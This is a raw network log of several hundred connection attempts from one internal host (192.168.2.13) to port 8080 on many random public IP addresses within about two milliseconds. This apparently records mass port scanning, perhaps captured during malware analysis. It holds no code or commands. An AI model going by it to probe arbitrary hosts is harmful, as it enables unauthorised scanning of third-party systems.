Nov 23, 2023 05:14:49.622488022 CET	54202	8080	192.168.2.13	94.251.39.235
Nov 23, 2023 05:14:49.622492075 CET	54202	8080	192.168.2.13	94.183.215.235
Nov 23, 2023 05:14:49.622498035 CET	54202	8080	192.168.2.13	94.246.120.210
Nov 23, 2023 05:14:49.622502089 CET	54202	8080	192.168.2.13	62.151.103.221
Nov 23, 2023 05:14:49.622514963 CET	54202	8080	192.168.2.13	62.215.45.60
Nov 23, 2023 05:14:49.622515917 CET	54202	8080	192.168.2.13	94.7.251.33
Nov 23, 2023 05:14:49.622523069 CET	54202	8080	192.168.2.13	31.119.75.102
Nov 23, 2023 05:14:49.622534037 CET	54202	8080	192.168.2.13	95.147.211.2
Nov 23, 2023 05:14:49.622536898 CET	54202	8080	192.168.2.13	95.59.136.236
Nov 23, 2023 05:14:49.622549057 CET	54202	8080	192.168.2.13	85.124.67.126
Nov 23, 2023 05:14:49.622551918 CET	54202	8080	192.168.2.13	85.19.246.30
Nov 23, 2023 05:14:49.622556925 CET	54202	8080	192.168.2.13	95.19.247.25
Nov 23, 2023 05:14:49.622556925 CET	54202	8080	192.168.2.13	95.178.166.89
Nov 23, 2023 05:14:49.622570038 CET	54202	8080	192.168.2.13	85.203.180.44
Nov 23, 2023 05:14:49.622575998 CET	54202	8080	192.168.2.13	85.97.177.97
Nov 23, 2023 05:14:49.622580051 CET	54202	8080	192.168.2.13	85.125.212.176
Nov 23, 2023 05:14:49.622586966 CET	54202	8080	192.168.2.13	62.44.9.19
Nov 23, 2023 05:14:49.622596025 CET	54202	8080	192.168.2.13	31.198.15.104
Nov 23, 2023 05:14:49.622598886 CET	54202	8080	192.168.2.13	94.216.151.174
Nov 23, 2023 05:14:49.622613907 CET	54202	8080	192.168.2.13	31.108.124.117
Nov 23, 2023 05:14:49.622620106 CET	54202	8080	192.168.2.13	31.55.59.36
Nov 23, 2023 05:14:49.622622013 CET	54202	8080	192.168.2.13	62.76.58.60
Nov 23, 2023 05:14:49.622623920 CET	54202	8080	192.168.2.13	85.189.131.2
Nov 23, 2023 05:14:49.622632027 CET	54202	8080	192.168.2.13	31.241.127.188
Nov 23, 2023 05:14:49.622632980 CET	54202	8080	192.168.2.13	94.207.89.187
Nov 23, 2023 05:14:49.622649908 CET	54202	8080	192.168.2.13	94.212.188.30
Nov 23, 2023 05:14:49.622649908 CET	54202	8080	192.168.2.13	94.152.191.44
Nov 23, 2023 05:14:49.622656107 CET	54202	8080	192.168.2.13	94.174.164.247
Nov 23, 2023 05:14:49.622658968 CET	54202	8080	192.168.2.13	31.127.145.14
Nov 23, 2023 05:14:49.622670889 CET	54202	8080	192.168.2.13	85.131.64.74
Nov 23, 2023 05:14:49.622670889 CET	54202	8080	192.168.2.13	31.242.209.78
Nov 23, 2023 05:14:49.622674942 CET	54202	8080	192.168.2.13	31.3.228.128
Nov 23, 2023 05:14:49.622684002 CET	54202	8080	192.168.2.13	62.23.248.171
Nov 23, 2023 05:14:49.622688055 CET	54202	8080	192.168.2.13	95.246.10.124
Nov 23, 2023 05:14:49.622694969 CET	54202	8080	192.168.2.13	62.42.98.11
Nov 23, 2023 05:14:49.622698069 CET	54202	8080	192.168.2.13	94.64.6.202
Nov 23, 2023 05:14:49.622704983 CET	54202	8080	192.168.2.13	31.13.196.235
Nov 23, 2023 05:14:49.622709036 CET	54202	8080	192.168.2.13	95.234.145.78
Nov 23, 2023 05:14:49.622729063 CET	54202	8080	192.168.2.13	31.163.178.10
Nov 23, 2023 05:14:49.622729063 CET	54202	8080	192.168.2.13	95.109.110.247
Nov 23, 2023 05:14:49.622729063 CET	54202	8080	192.168.2.13	31.120.26.212
Nov 23, 2023 05:14:49.622731924 CET	54202	8080	192.168.2.13	85.4.115.28
Nov 23, 2023 05:14:49.622740984 CET	54202	8080	192.168.2.13	62.6.183.44
Nov 23, 2023 05:14:49.622745037 CET	54202	8080	192.168.2.13	95.135.97.153
Nov 23, 2023 05:14:49.622747898 CET	54202	8080	192.168.2.13	95.86.46.71
Nov 23, 2023 05:14:49.622759104 CET	54202	8080	192.168.2.13	94.212.98.88
Nov 23, 2023 05:14:49.622759104 CET	54202	8080	192.168.2.13	85.34.100.188
Nov 23, 2023 05:14:49.622766972 CET	54202	8080	192.168.2.13	85.165.34.125
Nov 23, 2023 05:14:49.622771025 CET	54202	8080	192.168.2.13	31.91.110.246
Nov 23, 2023 05:14:49.622783899 CET	54202	8080	192.168.2.13	31.220.116.190
Nov 23, 2023 05:14:49.622783899 CET	54202	8080	192.168.2.13	62.103.202.34
Nov 23, 2023 05:14:49.622783899 CET	54202	8080	192.168.2.13	94.171.62.100
Nov 23, 2023 05:14:49.622785091 CET	54202	8080	192.168.2.13	85.197.200.216
Nov 23, 2023 05:14:49.622792006 CET	54202	8080	192.168.2.13	95.40.58.118
Nov 23, 2023 05:14:49.622795105 CET	54202	8080	192.168.2.13	31.133.124.109
Nov 23, 2023 05:14:49.622800112 CET	54202	8080	192.168.2.13	95.6.194.107
Nov 23, 2023 05:14:49.622809887 CET	54202	8080	192.168.2.13	94.102.155.24
Nov 23, 2023 05:14:49.622812986 CET	54202	8080	192.168.2.13	85.250.150.92
Nov 23, 2023 05:14:49.622813940 CET	54202	8080	192.168.2.13	94.128.241.62
Nov 23, 2023 05:14:49.622818947 CET	54202	8080	192.168.2.13	31.107.75.44
Nov 23, 2023 05:14:49.622821093 CET	54202	8080	192.168.2.13	62.222.240.158
Nov 23, 2023 05:14:49.622821093 CET	54202	8080	192.168.2.13	31.250.177.163
Nov 23, 2023 05:14:49.622821093 CET	54202	8080	192.168.2.13	95.203.187.10
Nov 23, 2023 05:14:49.622824907 CET	54202	8080	192.168.2.13	31.243.63.195
Nov 23, 2023 05:14:49.622839928 CET	54202	8080	192.168.2.13	95.9.244.61
Nov 23, 2023 05:14:49.622839928 CET	54202	8080	192.168.2.13	95.18.191.93
Nov 23, 2023 05:14:49.622849941 CET	54202	8080	192.168.2.13	95.247.71.194
Nov 23, 2023 05:14:49.622853041 CET	54202	8080	192.168.2.13	31.88.124.62
Nov 23, 2023 05:14:49.622857094 CET	54202	8080	192.168.2.13	95.86.189.97
Nov 23, 2023 05:14:49.622872114 CET	54202	8080	192.168.2.13	62.13.140.163
Nov 23, 2023 05:14:49.622873068 CET	54202	8080	192.168.2.13	62.190.121.120
Nov 23, 2023 05:14:49.622876883 CET	54202	8080	192.168.2.13	62.223.33.37
Nov 23, 2023 05:14:49.622878075 CET	54202	8080	192.168.2.13	85.246.38.253
Nov 23, 2023 05:14:49.622879982 CET	54202	8080	192.168.2.13	94.191.65.157
Nov 23, 2023 05:14:49.622889042 CET	54202	8080	192.168.2.13	62.244.219.160
Nov 23, 2023 05:14:49.622893095 CET	54202	8080	192.168.2.13	85.193.242.6
Nov 23, 2023 05:14:49.622908115 CET	54202	8080	192.168.2.13	62.225.6.206
Nov 23, 2023 05:14:49.622914076 CET	54202	8080	192.168.2.13	94.202.41.145
Nov 23, 2023 05:14:49.622914076 CET	54202	8080	192.168.2.13	85.37.212.19
Nov 23, 2023 05:14:49.622914076 CET	54202	8080	192.168.2.13	94.25.184.254
Nov 23, 2023 05:14:49.622914076 CET	54202	8080	192.168.2.13	85.235.178.90
Nov 23, 2023 05:14:49.622922897 CET	54202	8080	192.168.2.13	85.26.251.70
Nov 23, 2023 05:14:49.622941017 CET	54202	8080	192.168.2.13	62.106.37.169
Nov 23, 2023 05:14:49.622941017 CET	54202	8080	192.168.2.13	95.124.179.116
Nov 23, 2023 05:14:49.622945070 CET	54202	8080	192.168.2.13	31.33.247.68
Nov 23, 2023 05:14:49.622946978 CET	54202	8080	192.168.2.13	62.25.166.105
Nov 23, 2023 05:14:49.622948885 CET	54202	8080	192.168.2.13	85.162.49.83
Nov 23, 2023 05:14:49.622967958 CET	54202	8080	192.168.2.13	94.230.149.71
Nov 23, 2023 05:14:49.622968912 CET	54202	8080	192.168.2.13	95.198.25.153
Nov 23, 2023 05:14:49.622970104 CET	54202	8080	192.168.2.13	85.199.18.58
Nov 23, 2023 05:14:49.622973919 CET	54202	8080	192.168.2.13	31.231.89.99
Nov 23, 2023 05:14:49.622992992 CET	54202	8080	192.168.2.13	85.188.71.90
Nov 23, 2023 05:14:49.622993946 CET	54202	8080	192.168.2.13	31.99.149.246
Nov 23, 2023 05:14:49.622993946 CET	54202	8080	192.168.2.13	62.126.16.122
Nov 23, 2023 05:14:49.623002052 CET	54202	8080	192.168.2.13	85.248.13.61
Nov 23, 2023 05:14:49.623011112 CET	54202	8080	192.168.2.13	94.124.109.3
Nov 23, 2023 05:14:49.623016119 CET	54202	8080	192.168.2.13	85.51.157.103
Nov 23, 2023 05:14:49.623023033 CET	54202	8080	192.168.2.13	95.114.1.115
Nov 23, 2023 05:14:49.623027086 CET	54202	8080	192.168.2.13	95.179.47.235
Nov 23, 2023 05:14:49.623034954 CET	54202	8080	192.168.2.13	95.99.245.225
Nov 23, 2023 05:14:49.623039961 CET	54202	8080	192.168.2.13	85.250.83.14
Nov 23, 2023 05:14:49.623044968 CET	54202	8080	192.168.2.13	62.197.109.207
Nov 23, 2023 05:14:49.623047113 CET	54202	8080	192.168.2.13	62.104.130.181
Nov 23, 2023 05:14:49.623068094 CET	54202	8080	192.168.2.13	94.212.112.129
Nov 23, 2023 05:14:49.623070002 CET	54202	8080	192.168.2.13	94.248.96.156
Nov 23, 2023 05:14:49.623073101 CET	54202	8080	192.168.2.13	62.223.185.129
Nov 23, 2023 05:14:49.623073101 CET	54202	8080	192.168.2.13	85.61.42.30
Nov 23, 2023 05:14:49.623073101 CET	54202	8080	192.168.2.13	85.238.225.116
Nov 23, 2023 05:14:49.623074055 CET	54202	8080	192.168.2.13	62.140.1.57
Nov 23, 2023 05:14:49.623079062 CET	54202	8080	192.168.2.13	62.186.172.190
Nov 23, 2023 05:14:49.623097897 CET	54202	8080	192.168.2.13	31.219.199.28
Nov 23, 2023 05:14:49.623100042 CET	54202	8080	192.168.2.13	62.225.66.243
Nov 23, 2023 05:14:49.623104095 CET	54202	8080	192.168.2.13	94.16.230.197
Nov 23, 2023 05:14:49.623109102 CET	54202	8080	192.168.2.13	85.137.216.240
Nov 23, 2023 05:14:49.623114109 CET	54202	8080	192.168.2.13	95.32.151.148
Nov 23, 2023 05:14:49.623126030 CET	54202	8080	192.168.2.13	94.140.9.49
Nov 23, 2023 05:14:49.623126030 CET	54202	8080	192.168.2.13	94.157.39.16
Nov 23, 2023 05:14:49.623130083 CET	54202	8080	192.168.2.13	94.151.142.93
Nov 23, 2023 05:14:49.623131037 CET	54202	8080	192.168.2.13	31.106.159.33
Nov 23, 2023 05:14:49.623152018 CET	54202	8080	192.168.2.13	95.198.227.192
Nov 23, 2023 05:14:49.623152971 CET	54202	8080	192.168.2.13	94.111.102.23
Nov 23, 2023 05:14:49.623153925 CET	54202	8080	192.168.2.13	95.246.100.136
Nov 23, 2023 05:14:49.623153925 CET	54202	8080	192.168.2.13	94.135.0.227
Nov 23, 2023 05:14:49.623153925 CET	54202	8080	192.168.2.13	94.170.156.84
Nov 23, 2023 05:14:49.623164892 CET	54202	8080	192.168.2.13	62.106.74.51
Nov 23, 2023 05:14:49.623169899 CET	54202	8080	192.168.2.13	62.46.60.238
Nov 23, 2023 05:14:49.623183012 CET	54202	8080	192.168.2.13	31.251.17.212
Nov 23, 2023 05:14:49.623184919 CET	54202	8080	192.168.2.13	95.146.28.135
Nov 23, 2023 05:14:49.623193026 CET	54202	8080	192.168.2.13	85.30.129.125
Nov 23, 2023 05:14:49.623209953 CET	54202	8080	192.168.2.13	95.10.35.241
Nov 23, 2023 05:14:49.623213053 CET	54202	8080	192.168.2.13	94.112.94.251
Nov 23, 2023 05:14:49.623213053 CET	54202	8080	192.168.2.13	94.131.24.201
Nov 23, 2023 05:14:49.623228073 CET	54202	8080	192.168.2.13	95.11.2.90
Nov 23, 2023 05:14:49.623231888 CET	54202	8080	192.168.2.13	62.172.155.204
Nov 23, 2023 05:14:49.623234987 CET	54202	8080	192.168.2.13	94.246.64.228
Nov 23, 2023 05:14:49.623235941 CET	54202	8080	192.168.2.13	95.27.241.165
Nov 23, 2023 05:14:49.623258114 CET	54202	8080	192.168.2.13	62.136.45.101
Nov 23, 2023 05:14:49.623261929 CET	54202	8080	192.168.2.13	62.162.239.63
Nov 23, 2023 05:14:49.623261929 CET	54202	8080	192.168.2.13	94.119.15.126
Nov 23, 2023 05:14:49.623264074 CET	54202	8080	192.168.2.13	62.127.156.90
Nov 23, 2023 05:14:49.623265982 CET	54202	8080	192.168.2.13	85.45.231.67
Nov 23, 2023 05:14:49.623265982 CET	54202	8080	192.168.2.13	94.6.101.213
Nov 23, 2023 05:14:49.623271942 CET	54202	8080	192.168.2.13	62.65.166.122
Nov 23, 2023 05:14:49.623282909 CET	54202	8080	192.168.2.13	95.250.125.20
Nov 23, 2023 05:14:49.623282909 CET	54202	8080	192.168.2.13	94.25.6.218
Nov 23, 2023 05:14:49.623290062 CET	54202	8080	192.168.2.13	31.55.109.245
Nov 23, 2023 05:14:49.623301983 CET	54202	8080	192.168.2.13	95.105.159.7
Nov 23, 2023 05:14:49.623308897 CET	54202	8080	192.168.2.13	94.246.9.24
Nov 23, 2023 05:14:49.623311043 CET	54202	8080	192.168.2.13	62.213.52.239
Nov 23, 2023 05:14:49.623312950 CET	54202	8080	192.168.2.13	62.150.211.89
Nov 23, 2023 05:14:49.623317003 CET	54202	8080	192.168.2.13	94.198.23.71
Nov 23, 2023 05:14:49.623320103 CET	54202	8080	192.168.2.13	85.94.140.223
Nov 23, 2023 05:14:49.623333931 CET	54202	8080	192.168.2.13	31.176.24.225
Nov 23, 2023 05:14:49.623334885 CET	54202	8080	192.168.2.13	62.43.246.52
Nov 23, 2023 05:14:49.623342037 CET	54202	8080	192.168.2.13	85.7.138.112
Nov 23, 2023 05:14:49.623346090 CET	54202	8080	192.168.2.13	85.30.175.58
Nov 23, 2023 05:14:49.623361111 CET	54202	8080	192.168.2.13	62.94.79.33
Nov 23, 2023 05:14:49.623362064 CET	54202	8080	192.168.2.13	94.157.207.177
Nov 23, 2023 05:14:49.623363018 CET	54202	8080	192.168.2.13	85.44.81.133
Nov 23, 2023 05:14:49.623369932 CET	54202	8080	192.168.2.13	85.165.79.33
Nov 23, 2023 05:14:49.623384953 CET	54202	8080	192.168.2.13	95.69.55.135
Nov 23, 2023 05:14:49.623387098 CET	54202	8080	192.168.2.13	31.118.226.189
Nov 23, 2023 05:14:49.623392105 CET	54202	8080	192.168.2.13	94.61.186.190
Nov 23, 2023 05:14:49.623411894 CET	54202	8080	192.168.2.13	31.137.171.178
Nov 23, 2023 05:14:49.623413086 CET	54202	8080	192.168.2.13	62.3.138.139
Nov 23, 2023 05:14:49.623413086 CET	54202	8080	192.168.2.13	95.184.240.121
Nov 23, 2023 05:14:49.623413086 CET	54202	8080	192.168.2.13	62.242.76.46
Nov 23, 2023 05:14:49.623421907 CET	54202	8080	192.168.2.13	94.87.66.172
Nov 23, 2023 05:14:49.623423100 CET	54202	8080	192.168.2.13	85.171.18.140
Nov 23, 2023 05:14:49.623423100 CET	54202	8080	192.168.2.13	62.123.54.207
Nov 23, 2023 05:14:49.623424053 CET	54202	8080	192.168.2.13	62.140.125.35
Nov 23, 2023 05:14:49.623435020 CET	54202	8080	192.168.2.13	95.22.38.241
Nov 23, 2023 05:14:49.623441935 CET	54202	8080	192.168.2.13	94.198.20.207
Nov 23, 2023 05:14:49.623444080 CET	54202	8080	192.168.2.13	95.39.43.204
Nov 23, 2023 05:14:49.623457909 CET	54202	8080	192.168.2.13	62.94.83.131
Nov 23, 2023 05:14:49.623464108 CET	54202	8080	192.168.2.13	31.143.61.244
Nov 23, 2023 05:14:49.623464108 CET	54202	8080	192.168.2.13	85.0.223.147
Nov 23, 2023 05:14:49.623465061 CET	54202	8080	192.168.2.13	94.87.179.61
Nov 23, 2023 05:14:49.623476028 CET	54202	8080	192.168.2.13	85.238.176.246
Nov 23, 2023 05:14:49.623488903 CET	54202	8080	192.168.2.13	62.85.37.37
Nov 23, 2023 05:14:49.623490095 CET	54202	8080	192.168.2.13	94.115.16.34
Nov 23, 2023 05:14:49.623498917 CET	54202	8080	192.168.2.13	94.113.145.136
Nov 23, 2023 05:14:49.623502016 CET	54202	8080	192.168.2.13	94.191.195.194
Nov 23, 2023 05:14:49.623518944 CET	54202	8080	192.168.2.13	85.40.34.6
Nov 23, 2023 05:14:49.623521090 CET	54202	8080	192.168.2.13	62.128.150.253
Nov 23, 2023 05:14:49.623521090 CET	54202	8080	192.168.2.13	94.36.34.191
Nov 23, 2023 05:14:49.623522997 CET	54202	8080	192.168.2.13	95.46.221.254
Nov 23, 2023 05:14:49.623531103 CET	54202	8080	192.168.2.13	85.236.117.227
Nov 23, 2023 05:14:49.623532057 CET	54202	8080	192.168.2.13	62.255.130.163
Nov 23, 2023 05:14:49.623532057 CET	54202	8080	192.168.2.13	85.125.64.243
Nov 23, 2023 05:14:49.623532057 CET	54202	8080	192.168.2.13	31.84.218.28
Nov 23, 2023 05:14:49.623533964 CET	54202	8080	192.168.2.13	85.136.248.67
Nov 23, 2023 05:14:49.623533964 CET	54202	8080	192.168.2.13	94.53.3.206
Nov 23, 2023 05:14:49.623547077 CET	54202	8080	192.168.2.13	95.232.248.223
Nov 23, 2023 05:14:49.623560905 CET	54202	8080	192.168.2.13	94.255.113.203
Nov 23, 2023 05:14:49.623560905 CET	54202	8080	192.168.2.13	85.162.197.17
Nov 23, 2023 05:14:49.623569012 CET	54202	8080	192.168.2.13	62.118.12.122
Nov 23, 2023 05:14:49.623577118 CET	54202	8080	192.168.2.13	62.55.248.122
Nov 23, 2023 05:14:49.623584032 CET	54202	8080	192.168.2.13	94.54.147.95
Nov 23, 2023 05:14:49.623585939 CET	54202	8080	192.168.2.13	85.107.54.1
Nov 23, 2023 05:14:49.623599052 CET	54202	8080	192.168.2.13	94.181.177.4
Nov 23, 2023 05:14:49.623603106 CET	54202	8080	192.168.2.13	31.104.155.205
Nov 23, 2023 05:14:49.623604059 CET	54202	8080	192.168.2.13	95.212.90.36
Nov 23, 2023 05:14:49.623608112 CET	54202	8080	192.168.2.13	95.80.49.18
Nov 23, 2023 05:14:49.623611927 CET	54202	8080	192.168.2.13	62.219.236.201
Nov 23, 2023 05:14:49.623611927 CET	54202	8080	192.168.2.13	95.128.90.130
Nov 23, 2023 05:14:49.623625994 CET	54202	8080	192.168.2.13	94.152.193.151
Nov 23, 2023 05:14:49.623626947 CET	54202	8080	192.168.2.13	85.190.67.226
Nov 23, 2023 05:14:49.623631001 CET	54202	8080	192.168.2.13	95.38.238.162
Nov 23, 2023 05:14:49.623635054 CET	54202	8080	192.168.2.13	94.181.95.205
Nov 23, 2023 05:14:49.623641014 CET	54202	8080	192.168.2.13	62.36.191.164
Nov 23, 2023 05:14:49.623648882 CET	54202	8080	192.168.2.13	31.90.145.62
Nov 23, 2023 05:14:49.623650074 CET	54202	8080	192.168.2.13	31.71.226.162
Nov 23, 2023 05:14:49.623671055 CET	54202	8080	192.168.2.13	95.217.237.206
Nov 23, 2023 05:14:49.623672962 CET	54202	8080	192.168.2.13	94.7.136.249
Nov 23, 2023 05:14:49.623673916 CET	54202	8080	192.168.2.13	85.81.48.58
Nov 23, 2023 05:14:49.623676062 CET	54202	8080	192.168.2.13	95.205.221.204
Nov 23, 2023 05:14:49.623681068 CET	54202	8080	192.168.2.13	31.4.48.155
Nov 23, 2023 05:14:49.623697042 CET	54202	8080	192.168.2.13	95.190.118.73
Nov 23, 2023 05:14:49.623702049 CET	54202	8080	192.168.2.13	95.214.71.231
Nov 23, 2023 05:14:49.623706102 CET	54202	8080	192.168.2.13	85.91.131.105
Nov 23, 2023 05:14:49.623713017 CET	54202	8080	192.168.2.13	31.102.215.48
Nov 23, 2023 05:14:49.623728991 CET	54202	8080	192.168.2.13	94.228.119.31
Nov 23, 2023 05:14:49.623732090 CET	54202	8080	192.168.2.13	31.133.92.28
Nov 23, 2023 05:14:49.623732090 CET	54202	8080	192.168.2.13	85.148.184.84
Nov 23, 2023 05:14:49.623733997 CET	54202	8080	192.168.2.13	94.79.192.115
Nov 23, 2023 05:14:49.623738050 CET	54202	8080	192.168.2.13	31.130.236.203
Nov 23, 2023 05:14:49.623738050 CET	54202	8080	192.168.2.13	95.31.102.81
Nov 23, 2023 05:14:49.623743057 CET	54202	8080	192.168.2.13	94.186.206.114
Nov 23, 2023 05:14:49.623744965 CET	54202	8080	192.168.2.13	62.183.35.89
Nov 23, 2023 05:14:49.623756886 CET	54202	8080	192.168.2.13	31.120.118.110
Nov 23, 2023 05:14:49.623759031 CET	54202	8080	192.168.2.13	62.15.100.132
Nov 23, 2023 05:14:49.623768091 CET	54202	8080	192.168.2.13	94.197.30.57
Nov 23, 2023 05:14:49.623770952 CET	54202	8080	192.168.2.13	62.60.167.235
Nov 23, 2023 05:14:49.623770952 CET	54202	8080	192.168.2.13	62.38.67.198
Nov 23, 2023 05:14:49.623781919 CET	54202	8080	192.168.2.13	95.210.153.165
Nov 23, 2023 05:14:49.623795033 CET	54202	8080	192.168.2.13	85.179.122.211
Nov 23, 2023 05:14:49.623795033 CET	54202	8080	192.168.2.13	31.130.92.250
Nov 23, 2023 05:14:49.623796940 CET	54202	8080	192.168.2.13	62.180.22.131
Nov 23, 2023 05:14:49.623806953 CET	54202	8080	192.168.2.13	62.40.233.231
Nov 23, 2023 05:14:49.623820066 CET	54202	8080	192.168.2.13	95.62.182.195
Nov 23, 2023 05:14:49.623821974 CET	54202	8080	192.168.2.13	94.150.132.218
Nov 23, 2023 05:14:49.623830080 CET	54202	8080	192.168.2.13	94.6.89.205
Nov 23, 2023 05:14:49.623831987 CET	54202	8080	192.168.2.13	95.102.55.99
Nov 23, 2023 05:14:49.623831987 CET	54202	8080	192.168.2.13	31.88.31.247
Nov 23, 2023 05:14:49.623836994 CET	54202	8080	192.168.2.13	85.59.170.42
Nov 23, 2023 05:14:49.623837948 CET	54202	8080	192.168.2.13	62.222.9.32
Nov 23, 2023 05:14:49.623852015 CET	54202	8080	192.168.2.13	95.25.34.118
Nov 23, 2023 05:14:49.623853922 CET	54202	8080	192.168.2.13	94.41.37.55
Nov 23, 2023 05:14:49.623859882 CET	54202	8080	192.168.2.13	62.0.98.49
Nov 23, 2023 05:14:49.623862982 CET	54202	8080	192.168.2.13	62.227.196.198
Nov 23, 2023 05:14:49.623882055 CET	54202	8080	192.168.2.13	95.88.72.71
Nov 23, 2023 05:14:49.623882055 CET	54202	8080	192.168.2.13	95.22.186.252
Nov 23, 2023 05:14:49.623884916 CET	54202	8080	192.168.2.13	31.180.253.101
Nov 23, 2023 05:14:49.623891115 CET	54202	8080	192.168.2.13	62.108.119.55
Nov 23, 2023 05:14:49.623891115 CET	54202	8080	192.168.2.13	95.152.137.64
Nov 23, 2023 05:14:49.623891115 CET	54202	8080	192.168.2.13	85.186.182.250
Nov 23, 2023 05:14:49.623893976 CET	54202	8080	192.168.2.13	31.38.214.72
Nov 23, 2023 05:14:49.623893976 CET	54202	8080	192.168.2.13	95.152.225.202
Nov 23, 2023 05:14:49.623898983 CET	54202	8080	192.168.2.13	95.229.234.236
Nov 23, 2023 05:14:49.623905897 CET	54202	8080	192.168.2.13	94.114.250.119
Nov 23, 2023 05:14:49.623907089 CET	54202	8080	192.168.2.13	85.199.42.52
Nov 23, 2023 05:14:49.623914957 CET	54202	8080	192.168.2.13	62.211.85.195
Nov 23, 2023 05:14:49.623924971 CET	54202	8080	192.168.2.13	31.244.176.97
Nov 23, 2023 05:14:49.623925924 CET	54202	8080	192.168.2.13	31.179.120.10
Nov 23, 2023 05:14:49.623927116 CET	54202	8080	192.168.2.13	31.236.192.21
Nov 23, 2023 05:14:49.623927116 CET	54202	8080	192.168.2.13	31.25.115.41
Nov 23, 2023 05:14:49.623943090 CET	54202	8080	192.168.2.13	85.90.26.143
Nov 23, 2023 05:14:49.623943090 CET	54202	8080	192.168.2.13	62.126.52.40
Nov 23, 2023 05:14:49.623943090 CET	54202	8080	192.168.2.13	85.173.113.32
Nov 23, 2023 05:14:49.623959064 CET	54202	8080	192.168.2.13	94.131.20.222
Nov 23, 2023 05:14:49.623964071 CET	54202	8080	192.168.2.13	85.153.152.225
Nov 23, 2023 05:14:49.623965979 CET	54202	8080	192.168.2.13	31.148.83.228
Nov 23, 2023 05:14:49.623974085 CET	54202	8080	192.168.2.13	95.7.70.218
Nov 23, 2023 05:14:49.623981953 CET	54202	8080	192.168.2.13	31.11.156.62
Nov 23, 2023 05:14:49.623985052 CET	54202	8080	192.168.2.13	62.193.209.155
Nov 23, 2023 05:14:49.623996019 CET	54202	8080	192.168.2.13	95.214.67.158
Nov 23, 2023 05:14:49.623999119 CET	54202	8080	192.168.2.13	95.14.141.218
Nov 23, 2023 05:14:49.624000072 CET	54202	8080	192.168.2.13	94.226.231.202
Nov 23, 2023 05:14:49.624011993 CET	54202	8080	192.168.2.13	62.197.173.130
Nov 23, 2023 05:14:49.624013901 CET	54202	8080	192.168.2.13	62.167.115.141
Nov 23, 2023 05:14:49.624021053 CET	54202	8080	192.168.2.13	85.201.204.126
Nov 23, 2023 05:14:49.624025106 CET	54202	8080	192.168.2.13	94.171.233.158
Nov 23, 2023 05:14:49.624038935 CET	54202	8080	192.168.2.13	31.190.178.29
Nov 23, 2023 05:14:49.624039888 CET	54202	8080	192.168.2.13	94.90.205.240
Nov 23, 2023 05:14:49.624056101 CET	54202	8080	192.168.2.13	85.189.64.57
Nov 23, 2023 05:14:49.624070883 CET	54202	8080	192.168.2.13	95.220.150.37
Nov 23, 2023 05:14:49.624074936 CET	54202	8080	192.168.2.13	95.237.87.219
Nov 23, 2023 05:14:49.624078035 CET	54202	8080	192.168.2.13	95.84.138.166
Nov 23, 2023 05:14:49.624089003 CET	54202	8080	192.168.2.13	95.204.66.178
Nov 23, 2023 05:14:49.624094963 CET	54202	8080	192.168.2.13	85.188.54.13
Nov 23, 2023 05:14:49.624094963 CET	54202	8080	192.168.2.13	94.117.190.182
Nov 23, 2023 05:14:49.624097109 CET	54202	8080	192.168.2.13	94.32.143.83
Nov 23, 2023 05:14:49.624097109 CET	54202	8080	192.168.2.13	94.130.177.141
Nov 23, 2023 05:14:49.624103069 CET	54202	8080	192.168.2.13	85.95.209.87
Nov 23, 2023 05:14:49.624109030 CET	54202	8080	192.168.2.13	95.194.15.189
Nov 23, 2023 05:14:49.624116898 CET	54202	8080	192.168.2.13	85.134.105.148
Nov 23, 2023 05:14:49.624119997 CET	54202	8080	192.168.2.13	62.9.41.143
Nov 23, 2023 05:14:49.624129057 CET	54202	8080	192.168.2.13	31.209.166.47
Nov 23, 2023 05:14:49.624138117 CET	54202	8080	192.168.2.13	94.145.89.41
Nov 23, 2023 05:14:49.624147892 CET	54202	8080	192.168.2.13	31.178.83.88
Nov 23, 2023 05:14:49.624150038 CET	54202	8080	192.168.2.13	95.169.55.249
Nov 23, 2023 05:14:49.624154091 CET	54202	8080	192.168.2.13	94.21.67.236
Nov 23, 2023 05:14:49.624161959 CET	54202	8080	192.168.2.13	94.48.117.11
Nov 23, 2023 05:14:49.624161959 CET	54202	8080	192.168.2.13	94.3.58.75
Nov 23, 2023 05:14:49.624170065 CET	54202	8080	192.168.2.13	85.84.32.86
Nov 23, 2023 05:14:49.624176025 CET	54202	8080	192.168.2.13	95.244.171.93
Nov 23, 2023 05:14:49.624187946 CET	54202	8080	192.168.2.13	94.6.89.3
Nov 23, 2023 05:14:49.624201059 CET	54202	8080	192.168.2.13	85.90.60.65
Nov 23, 2023 05:14:49.624202013 CET	54202	8080	192.168.2.13	31.96.87.219
Nov 23, 2023 05:14:49.624207973 CET	54202	8080	192.168.2.13	62.157.111.164
Nov 23, 2023 05:14:49.624209881 CET	54202	8080	192.168.2.13	31.66.186.14
Nov 23, 2023 05:14:49.624214888 CET	54202	8080	192.168.2.13	62.145.225.224
Nov 23, 2023 05:14:49.624234915 CET	54202	8080	192.168.2.13	85.195.220.216
Nov 23, 2023 05:14:49.624234915 CET	54202	8080	192.168.2.13	85.69.119.132
Nov 23, 2023 05:14:49.624238968 CET	54202	8080	192.168.2.13	95.146.211.233
Nov 23, 2023 05:14:49.624241114 CET	54202	8080	192.168.2.13	85.89.208.61
Nov 23, 2023 05:14:49.624241114 CET	54202	8080	192.168.2.13	85.248.170.97
Nov 23, 2023 05:14:49.624244928 CET	54202	8080	192.168.2.13	95.121.123.199
Nov 23, 2023 05:14:49.624244928 CET	54202	8080	192.168.2.13	85.90.182.62
Nov 23, 2023 05:14:49.624248028 CET	54202	8080	192.168.2.13	85.54.10.30
Nov 23, 2023 05:14:49.624252081 CET	54202	8080	192.168.2.13	62.113.255.176
Nov 23, 2023 05:14:49.624259949 CET	54202	8080	192.168.2.13	85.156.195.226
Nov 23, 2023 05:14:49.624265909 CET	54202	8080	192.168.2.13	62.222.75.22
Nov 23, 2023 05:14:49.624284029 CET	54202	8080	192.168.2.13	95.70.240.248
Nov 23, 2023 05:14:49.624284029 CET	54202	8080	192.168.2.13	94.240.9.94
Nov 23, 2023 05:14:49.624293089 CET	54202	8080	192.168.2.13	85.138.189.106
Nov 23, 2023 05:14:49.624303102 CET	54202	8080	192.168.2.13	95.60.37.179
Nov 23, 2023 05:14:49.624308109 CET	54202	8080	192.168.2.13	62.35.147.43
Nov 23, 2023 05:14:49.624315977 CET	54202	8080	192.168.2.13	95.163.180.208
Nov 23, 2023 05:14:49.624317884 CET	54202	8080	192.168.2.13	95.166.211.37
Nov 23, 2023 05:14:49.624317884 CET	54202	8080	192.168.2.13	85.141.106.77
Nov 23, 2023 05:14:49.624317884 CET	54202	8080	192.168.2.13	94.20.186.22
